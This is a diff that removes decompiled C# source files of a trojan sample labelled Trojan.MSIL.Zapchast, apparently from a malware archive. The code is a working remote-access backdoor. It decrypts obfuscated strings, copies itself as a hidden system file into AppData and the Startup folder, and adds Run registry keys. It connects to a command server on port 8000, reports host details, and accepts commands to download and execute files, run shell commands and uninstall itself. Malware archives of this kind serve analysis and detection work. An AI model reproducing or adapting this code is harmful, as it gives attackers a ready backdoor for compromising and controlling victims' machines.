5); - numArray3[index] = (byte) ((uint) numArray3[index] ^ (uint) num4); - } - } - int num5 = \u0002\u2000.\u0006 - 12; - byte[] bytes; - int length; - if (!flag2) - { - bytes = numArray3; - length = count; - } - else - { - length = (int) numArray3[2] | (int) numArray3[0] << 16 | (int) numArray3[3] << 8 | (int) numArray3[1] << 24; - bytes = new byte[length]; - \u0002\u2000.\u0002(numArray3, 4, bytes); - } - string str2; - if (flag1 && num5 == 1607802) - { - char[] chArray = new char[length]; - for (int index = 0; index < length; ++index) - chArray[index] = (char) bytes[index]; - str2 = new string(chArray); - } - else - str2 = Encoding.Unicode.GetString(bytes, 0, bytes.Length); - int num6 = num5 + ((int) sbyte.MaxValue + (num5 & 3) << 5); - if (num6 != 1611930) - str2 = (_param0 + count ^ 936568 ^ num6 & 1293).ToString("X"); - string str3 = string.Intern(str2); - \u0002\u2000.\u0002.Add(_param0, str3); - if (\u0002\u2000.\u0002.Count == 86) - { - \u0002\u2000.\u0003.Close(); - \u0002\u2000.\u0003 = (BinaryReader) null; - \u0002\u2000.\u0005 = \u0002\u2000.\u000E = (byte[]) null; - } - return str3; - } - } - return str1; - } - } - - private static int \u0002(byte[] _param0, int _param1, byte[] _param2) - { - int num1 = 0; - int num2 = 0; - int num3 = 128; - int length = _param2.Length; -label_9: - while (num1 < length) - { - if ((num3 <<= 1) == 256) - { - num3 = 1; - num2 = (int) _param0[_param1++]; - } - if ((num2 & num3) != 0) - { - int num4 = ((int) _param0[_param1] >> 2) + 3; - int num5 = ((int) _param0[_param1] << 8 | (int) _param0[_param1 + 1]) & 1023; - _param1 += 2; - int num6 = num1 - num5; - if (num6 < 0) - return -1; - while (true) - { - if (--num4 >= 0 && num1 < length) - _param2[num1++] = _param2[num6++]; - else - goto label_9; - } - } - else - _param2[num1++] = _param0[_param1++]; - } - return 0; - } -} diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/_0003.cs b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/_0003.cs deleted file mode 100644 index 375b3679..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/_0003.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Server, Version=2.4.17.2, Culture=neutral, PublicKeyToken=null -// MVID: F2B9F067-8176-4008-9A63-9489F19DF388 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -[GeneratedCode("MyTemplate", "8.0.0.0")] -[EditorBrowsable(EditorBrowsableState.Never)] -internal sealed class \u0003 : Computer -{ - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0003() - { - } -} diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/_0003 .cs b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/_0003 .cs deleted file mode 100644 index 9deddc43..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/_0003 .cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:   -// Assembly: Server, Version=2.4.17.2, Culture=neutral, PublicKeyToken=null -// MVID: F2B9F067-8176-4008-9A63-9489F19DF388 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21.exe - -internal static class \u0003\u2000 -{ - public static byte[] \u0002(byte[] _param0, byte[] _param1) - { - byte num1 = _param0[1]; - int length = _param1.Length; - byte num2 = (byte) (length + 11 ^ (int) num1 + 7); - uint num3 = (uint) (((int) _param0[0] | (int) _param0[2] << 8) + ((int) num2 << 3)); - ushort num4 = 0; - for (int index = 0; index < length; ++index) - { - if ((index & 1) == 0) - { - num3 = (uint) ((int) num3 * 214013 + 2531011); - num4 = (ushort) (num3 >> 16); - } - byte num5 = (byte) num4; - num4 >>= 8; - byte num6 = _param1[index]; - _param1[index] = (byte) ((uint) ((int) num6 ^ (int) num1 ^ (int) num2 + 3) ^ (uint) num5); - num2 = num6; - } - return _param1; - } -} diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/_0005.cs b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/_0005.cs deleted file mode 100644 index 25fdedf3..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/_0005.cs +++ /dev/null @@ -1,171 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Server, Version=2.4.17.2, Culture=neutral, PublicKeyToken=null -// MVID: F2B9F067-8176-4008-9A63-9489F19DF388 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -[HideModuleName] -[StandardModule] -[GeneratedCode("MyTemplate", "8.0.0.0")] -internal sealed class \u0005 -{ - private static readonly \u0005.\u0005<\u0003> \u0002 = new \u0005.\u0005<\u0003>(); - private static readonly \u0005.\u0005<\u0002> \u0003 = new \u0005.\u0005<\u0002>(); - private static readonly \u0005.\u0005 \u0005 = new \u0005.\u0005(); - private static \u0005.\u0005<\u0005.\u0002> \u0008 = new \u0005.\u0005<\u0005.\u0002>(); - private static readonly \u0005.\u0005<\u0005.\u0003> \u0006 = new \u0005.\u0005<\u0005.\u0003>(); - - [DebuggerHidden] - internal static \u0003 \u0002() => \u0005.\u0002.\u0002(); - - [DebuggerHidden] - internal static \u0002 \u0002() => \u0005.\u0003.\u0002(); - - [DebuggerHidden] - internal static User \u0002() => \u0005.\u0005.\u0002(); - - [DebuggerHidden] - internal static \u0005.\u0002 \u0002() => \u0005.\u0008.\u0002(); - - [DebuggerHidden] - internal static \u0005.\u0003 \u0002() => \u0005.\u0006.\u0002(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - internal sealed class \u0002 - { - [ThreadStatic] - private static Hashtable \u0002; - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public \u0002() - { - } - - [DebuggerHidden] - private static T \u0002(T _param0) where T : Form, new() - { - if ((object) _param0 != null && !_param0.IsDisposed) - return _param0; - if (\u0005.\u0002.\u0002 != null) - { - if (\u0005.\u0002.\u0002.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString(\u0002\u2000.\u0002(-543725211))); - } - else - \u0005.\u0002.\u0002 = new Hashtable(); - \u0005.\u0002.\u0002.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString(\u0002\u2000.\u0002(-543725242), ex.InnerException.Message), ex.InnerException); - } - finally - { - \u0005.\u0002.\u0002.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void \u0003(ref T _param1) where T : Form - { - _param1.Dispose(); - _param1 = default (T); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object _param1) => base.Equals(RuntimeHelpers.GetObjectValue(_param1)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal System.Type \u0002() => typeof (\u0005.\u0002); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0003 - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public \u0003() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object _param1) => base.Equals(RuntimeHelpers.GetObjectValue(_param1)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal System.Type \u0002() => typeof (\u0005.\u0003); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T \u0002(T _param0) where T : new() => (object) _param0 == null ? new T() : _param0; - - [DebuggerHidden] - private void \u0003(ref T _param1) => _param1 = default (T); - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0005<\u0002> where \u0002 : new() - { - [ThreadStatic] - private static \u0002 \u0002; - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public \u0005() - { - } - - [DebuggerHidden] - internal \u0002 \u0002() - { - if ((object) \u0005.\u0005<\u0002>.\u0002 == null) - \u0005.\u0005<\u0002>.\u0002 = new \u0002(); - return \u0005.\u0005<\u0002>.\u0002; - } - } -} diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/_0006.cs b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/_0006.cs deleted file mode 100644 index b68ba013..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/_0006.cs +++ /dev/null @@ -1,33 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Server, Version=2.4.17.2, Culture=neutral, PublicKeyToken=null -// MVID: F2B9F067-8176-4008-9A63-9489F19DF388 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.Diagnostics; -using System.Globalization; -using System.Resources; - -[HideModuleName] -[StandardModule] -[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] -[DebuggerNonUserCode] -internal sealed class \u0006 -{ - private static ResourceManager \u0002; - private static CultureInfo \u0003; - - internal static ResourceManager \u0002() - { - if (object.ReferenceEquals((object) \u0006.\u0002, (object) null)) - \u0006.\u0002 = new ResourceManager(\u0002\u2000.\u0002(-543725085), typeof (\u0006).Assembly); - return \u0006.\u0002; - } - - internal static CultureInfo \u0002() => \u0006.\u0003; - - internal static void \u0002(CultureInfo _param0) => \u0006.\u0003 = _param0; -} diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/_0008.cs b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/_0008.cs deleted file mode 100644 index d66eb9ea..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/_0008.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Server, Version=2.4.17.2, Culture=neutral, PublicKeyToken=null -// MVID: F2B9F067-8176-4008-9A63-9489F19DF388 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; - -[StandardModule] -internal sealed class \u0008 -{ - public static string \u0002 = \u0002\u2000.\u0002(-543725271); - public static string \u0003 = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + \u0002\u2000.\u0002(-543725254) + \u0008.\u0002; - public static string \u0005 = Environment.GetFolderPath(Environment.SpecialFolder.Startup) + \u0002\u2000.\u0002(-543725302) + \u0008.\u0002; - public static string \u0008 = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + \u0002\u2000.\u0002(-543725294); - public static string \u0006 = Environment.GetFolderPath(Environment.SpecialFolder.Startup); - public static string \u000E; - public static bool \u000F = false; - public static bool \u0002\u2000 = false; - public static string \u0003\u2000; - public static string \u0005\u2000; -} diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/_000E.cs b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/_000E.cs deleted file mode 100644 index 8614cb2e..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/_000E.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Server, Version=2.4.17.2, Culture=neutral, PublicKeyToken=null -// MVID: F2B9F067-8176-4008-9A63-9489F19DF388 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.Diagnostics; -using Win.My; - -[StandardModule] -[HideModuleName] -[DebuggerNonUserCode] -internal sealed class \u000E -{ - internal static MySettings \u0002() => MySettings.Default; -} diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/_000F.cs b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/_000F.cs deleted file mode 100644 index df73ee91..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/_000F.cs +++ /dev/null @@ -1,783 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Server, Version=2.4.17.2, Culture=neutral, PublicKeyToken=null -// MVID: F2B9F067-8176-4008-9A63-9489F19DF388 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using System; -using System.Diagnostics; -using System.IO; -using System.Management; -using System.Net; -using System.Net.Sockets; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Threading; - -[StandardModule] -internal sealed class \u000F -{ - private static NetworkStream \u0002; - private static StreamWriter \u0003; - private static StreamReader \u0005; - private static TcpClient \u0008 = new TcpClient(); - private static Thread \u0006 = new Thread(new ThreadStart(\u000F.\u0005)); - private static Thread \u000E = new Thread(new ThreadStart(\u000F.\u000F)); - public static readonly Random \u000F = new Random(); - public static long \u0002\u2000 = (long) \u000F.\u000F.Next(100000000, 999999999); - private static Mutex \u0003\u2000; - private static string \u0005\u2000 = \u0002\u2000.\u0002(-543725065); - private static string \u0008\u2000 = \u0002\u2000.\u0002(-543725101); - private static bool \u0006\u2000; - private static string \u000E\u2000 = \u0002\u2000.\u0002(-543725149); - private static string \u000F\u2000 = \u0002\u2000.\u0002(-543725137); - - [STAThread] - public static void \u0002() - { - Console.WriteLine(\u000F.\u000E\u2000); - Thread.Sleep(2000); - \u000F.\u0003(\u000F.\u0005\u2000); - \u000F.\u000E(); - \u000F.\u0002(); - \u000F.\u0003\u2000(); - \u000F.\u0002((object) \u0008.\u000E); - Thread.Sleep(1000); - \u000F.\u0005\u2000(); - \u000F.\u0003(); - } - - public static void \u0003() - { - try - { - Console.WriteLine(\u0002\u2000.\u0002(-543725129)); - \u000F.\u0008.Connect(\u0002\u2000.\u0002(-543725129), 8000); - if (\u000F.\u0008.Connected) - { - \u000F.\u0002 = \u000F.\u0008.GetStream(); - \u000F.\u0003 = new StreamWriter((Stream) \u000F.\u0002); - \u000F.\u0005 = new StreamReader((Stream) \u000F.\u0002); - if (Operators.CompareString(\u0008.\u000E, \u0002\u2000.\u0002(-543725174), false) == 0) - \u000F.\u0003.WriteLine(\u000F.\u000E\u2000 + \u0002\u2000.\u0002(-543725163) + Conversions.ToString(\u000F.\u0002\u2000) + \u0002\u2000.\u0002(-543725163) + \u0008.\u000E + \u0002\u2000.\u0002(-543725163) + \u000F.\u0002() + \u0002\u2000.\u0002(-543725163) + \u0005.\u0002().Name + \u0002\u2000.\u0002(-543725163) + Conversions.ToString(\u0008.\u0002\u2000)); - else - \u000F.\u0003.WriteLine(Operators.ConcatenateObject((object) (\u000F.\u000E\u2000 + \u0002\u2000.\u0002(-543725163) + Conversions.ToString(\u000F.\u0002\u2000) + \u0002\u2000.\u0002(-543725163) + \u0008.\u000E + \u0002\u2000.\u0002(-543725163) + \u000F.\u0002() + \u0002\u2000.\u0002(-543725163) + \u0005.\u0002().Name + \u0002\u2000.\u0002(-543725163) + Conversions.ToString(\u0008.\u0002\u2000) + \u0002\u2000.\u0002(-543725163)), \u000F.\u0005())); - Console.WriteLine(\u000F.\u0002\u2000); - \u000F.\u0003.Flush(); - \u000F.\u0006.Start(); - \u000F.\u000E.Start(); - } - else - { - Thread.Sleep(5000); - \u000F.\u0003(); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Exception exception = ex; - Console.WriteLine(exception.ToString()); - \u000F.\u0008(exception.ToString()); - Thread.Sleep(5000); - \u000F.\u0003(); - ProjectData.ClearProjectError(); - } - } - - private static void \u0005() - { - try - { - while (\u000F.\u0008.Connected) - { - string[] strArray = Strings.Split(\u000F.\u0005.ReadLine(), \u000F.\u0008\u2000); - string Left = strArray[0]; - if (Operators.CompareString(Left, \u0002\u2000.\u0002(-543725155), false) == 0) - { - try - { - Random random = new Random(); - Thread.Sleep(new Random().Next(0, 10000)); - string destinationFileName = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + \u0002\u2000.\u0002(-543725302) + Conversions.ToString(random.Next(100000000, 999999999)) + \u0002\u2000.\u0002(-543725466); - \u0005.\u0002().Network.DownloadFile(strArray[1], destinationFileName); - \u000F.\u0005(destinationFileName); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - else if (Operators.CompareString(Left, \u0002\u2000.\u0002(-543725453), false) == 0) - \u000F.\u0006(); - else if (Operators.CompareString(Left, \u0002\u2000.\u0002(-543725444), false) == 0) - \u000F.\u0006\u2000 = true; - else if (Operators.CompareString(Left, \u0002\u2000.\u0002(-543725495), false) == 0) - { - try - { - Random random = new Random(); - Thread.Sleep(new Random().Next(0, 10000)); - string str = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + \u0002\u2000.\u0002(-543725302) + Conversions.ToString(random.Next(100000000, 999999999)) + \u0002\u2000.\u0002(-543725466); - \u0005.\u0002().Network.DownloadFile(strArray[1], str); - Process.Start(str); - \u000F.\u0002(\u0002\u2000.\u0002(-543725486) + \u000F.\u0008\u2000 + \u0002\u2000.\u0002(-543725473) + str); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - else if (Operators.CompareString(Left, \u0002\u2000.\u0002(-543725521), false) == 0) - Interaction.Shell(\u0002\u2000.\u0002(-543725512)); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Exception exception = ex; - \u000F.\u0008(exception.ToString()); - Console.WriteLine(exception.ToString()); - \u000F.\u0008(); - ProjectData.ClearProjectError(); - } - } - - private static void \u0002(string _param0) - { - try - { - \u000F.\u0003.WriteLine(_param0); - \u000F.\u0003.Flush(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - \u000F.\u0008(ex.ToString()); - ProjectData.ClearProjectError(); - } - } - - public static void \u0008() - { - Process.Start(\u0008.\u0003); - Process.GetCurrentProcess().Kill(); - } - - public static void \u0006() - { - try - { - if (System.IO.File.Exists(\u0008.\u0003)) - System.IO.File.SetAttributes(\u0008.\u0003, FileAttributes.Normal); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - \u000F.\u0008(ex.ToString()); - ProjectData.ClearProjectError(); - } - try - { - if (System.IO.File.Exists(\u0008.\u0005)) - { - System.IO.File.SetAttributes(\u0008.\u0005, FileAttributes.Normal); - System.IO.File.Delete(\u0008.\u0005); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - \u000F.\u0008(ex.ToString()); - ProjectData.ClearProjectError(); - } - try - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(\u0002\u2000.\u0002(-543725552), true); - registryKey.DeleteValue(\u0008.\u0002, false); - registryKey.Close(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - \u000F.\u0008(ex.ToString()); - ProjectData.ClearProjectError(); - } - try - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(\u0002\u2000.\u0002(-543725372), true); - registryKey.DeleteValue(\u0008.\u0002, false); - registryKey.Close(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - \u000F.\u0008(ex.ToString()); - ProjectData.ClearProjectError(); - } - Process.Start(new ProcessStartInfo() - { - FileName = \u0002\u2000.\u0002(-543725384), - Arguments = \u0002\u2000.\u0002(-543725434) + Assembly.GetExecutingAssembly().Location, - WindowStyle = ProcessWindowStyle.Hidden - }); - Process.GetCurrentProcess().Kill(); - } - - public static void \u000E() - { - try - { - if (!Directory.Exists(\u0008.\u0008)) - { - try - { - Directory.CreateDirectory(\u0008.\u0008); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - else - Console.WriteLine(\u0002\u2000.\u0002(-543724694)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Exception exception = ex; - Console.WriteLine(exception.ToString()); - \u000F.\u0008(exception.ToString()); - ProjectData.ClearProjectError(); - } - try - { - if (Operators.CompareString(Assembly.GetExecutingAssembly().Location, \u0008.\u0003, false) != 0) - { - Console.WriteLine(\u0002\u2000.\u0002(-543724733)); - if (System.IO.File.Exists(\u0008.\u0003)) - { - System.IO.File.SetAttributes(\u0008.\u0003, FileAttributes.Normal); - System.IO.File.Delete(\u0008.\u0003); - } - } - else - Console.WriteLine(\u0002\u2000.\u0002(-543724713) + Assembly.GetExecutingAssembly().Location); - if (Operators.CompareString(Assembly.GetExecutingAssembly().Location, \u0008.\u0005, false) != 0) - { - if (System.IO.File.Exists(\u0008.\u0005)) - { - System.IO.File.SetAttributes(\u0008.\u0005, FileAttributes.Normal); - System.IO.File.Delete(\u0008.\u0005); - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Exception exception = ex; - Console.WriteLine(exception.ToString()); - \u000F.\u0008(exception.ToString()); - ProjectData.ClearProjectError(); - } - try - { - if (!System.IO.File.Exists(\u0008.\u0003)) - { - Console.WriteLine(\u0002\u2000.\u0002(-543724755)); - System.IO.File.Copy(Assembly.GetExecutingAssembly().Location, \u0008.\u0003); - System.IO.File.SetAttributes(\u0008.\u0003, FileAttributes.ReadOnly | FileAttributes.Hidden | FileAttributes.System); - Console.WriteLine(\u0002\u2000.\u0002(-543724737)); - Thread.Sleep(1000); - \u000F.\u0008(); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Exception exception = ex; - Console.WriteLine(exception.ToString()); - \u000F.\u0008(exception.ToString()); - ProjectData.ClearProjectError(); - } - try - { - if (!System.IO.File.Exists(\u0008.\u0005)) - { - System.IO.File.Copy(Assembly.GetExecutingAssembly().Location, \u0008.\u0005); - System.IO.File.SetAttributes(\u0008.\u0005, FileAttributes.ReadOnly | FileAttributes.Hidden | FileAttributes.System); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Exception exception = ex; - Console.WriteLine(exception.ToString()); - \u000F.\u0008(exception.ToString()); - ProjectData.ClearProjectError(); - } - try - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(\u0002\u2000.\u0002(-543724788), true); - registryKey.SetValue(\u0008.\u0002, (object) \u0008.\u0003); - registryKey.Close(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Exception exception = ex; - Console.WriteLine(exception.ToString()); - \u000F.\u0008(exception.ToString()); - ProjectData.ClearProjectError(); - } - try - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(\u0002\u2000.\u0002(-543725372), true); - registryKey.SetValue(\u0008.\u0002, (object) \u0008.\u0003); - registryKey.Close(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Exception exception = ex; - Console.WriteLine(exception.ToString()); - \u000F.\u0008(exception.ToString()); - ProjectData.ClearProjectError(); - } - } - - public static void \u0003(string _param0) - { - try - { - Mutex.OpenExisting(_param0); - Process.GetCurrentProcess().Kill(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - \u000F.\u0008(ex.ToString()); - \u000F.\u0003\u2000 = new Mutex(false, _param0); - ProjectData.ClearProjectError(); - } - } - - public static void \u0005(string _param0) - { - try - { - Process.Start(_param0); - Process.GetCurrentProcess().Kill(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - \u000F.\u0008(ex.ToString()); - ProjectData.ClearProjectError(); - } - } - - public static void \u000F() - { - try - { - while (true) - { - do - { - \u000F.\u0006\u2000 = false; - Thread.Sleep(20000); - } - while (\u000F.\u0006\u2000); - \u000F.\u0008(); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - \u000F.\u0008(ex.ToString()); - ProjectData.ClearProjectError(); - } - } - - public static object \u0002() - { - object obj; - try - { - OperatingSystem osVersion = Environment.OSVersion; - string str = \u0002\u2000.\u0002(-543724608); - switch (osVersion.Platform) - { - case PlatformID.Win32Windows: - switch (osVersion.Version.Minor) - { - case 0: - str = \u0002\u2000.\u0002(-543724597); - break; - case 10: - str = \u0002\u2000.\u0002(-543724590); - break; - case 90: - str = \u0002\u2000.\u0002(-543724579); - break; - } - break; - case PlatformID.Win32NT: - switch (osVersion.Version.Major) - { - case 3: - str = \u0002\u2000.\u0002(-543724636); - break; - case 4: - str = \u0002\u2000.\u0002(-543724636); - break; - case 5: - if (osVersion.Version.Minor == 0) - { - str = \u0002\u2000.\u0002(-543724625); - break; - } - if (osVersion.Version.Minor == 1) - { - str = \u0002\u2000.\u0002(-543725174); - break; - } - if (osVersion.Version.Minor == 2) - { - str = \u0002\u2000.\u0002(-543724618); - break; - } - break; - case 6: - str = \u0002\u2000.\u0002(-543724672); - if (osVersion.Version.Minor == 0) - { - str = \u0002\u2000.\u0002(-543724672); - break; - } - if (osVersion.Version.Minor == 1) - { - str = \u0002\u2000.\u0002(-543724661); - break; - } - break; - } - break; - } - \u0008.\u000E = str; - Console.WriteLine(str); - obj = (object) str; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - \u000F.\u0008(ex.ToString()); - \u0008.\u000E = \u0002\u2000.\u0002(-543724654); - Console.WriteLine(\u0002\u2000.\u0002(-543724654)); - obj = (object) \u0002\u2000.\u0002(-543724654); - ProjectData.ClearProjectError(); - } - return obj; - } - - public static void \u0002\u2000() - { - try - { - TcpClient tcpClient = new TcpClient(); - IPEndPoint localEP = new IPEndPoint(IPAddress.Any, Conversions.ToInteger(\u0002\u2000.\u0002(-543724643))); - if (!\u0008.\u000F) - return; - TcpListener tcpListener = new TcpListener(localEP); - tcpListener.Start(); - tcpClient = tcpListener.AcceptTcpClient(); - new Thread(new ThreadStart(\u000F.\u0005)).Start(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - \u000F.\u0008(ex.ToString()); - ProjectData.ClearProjectError(); - } - } - - 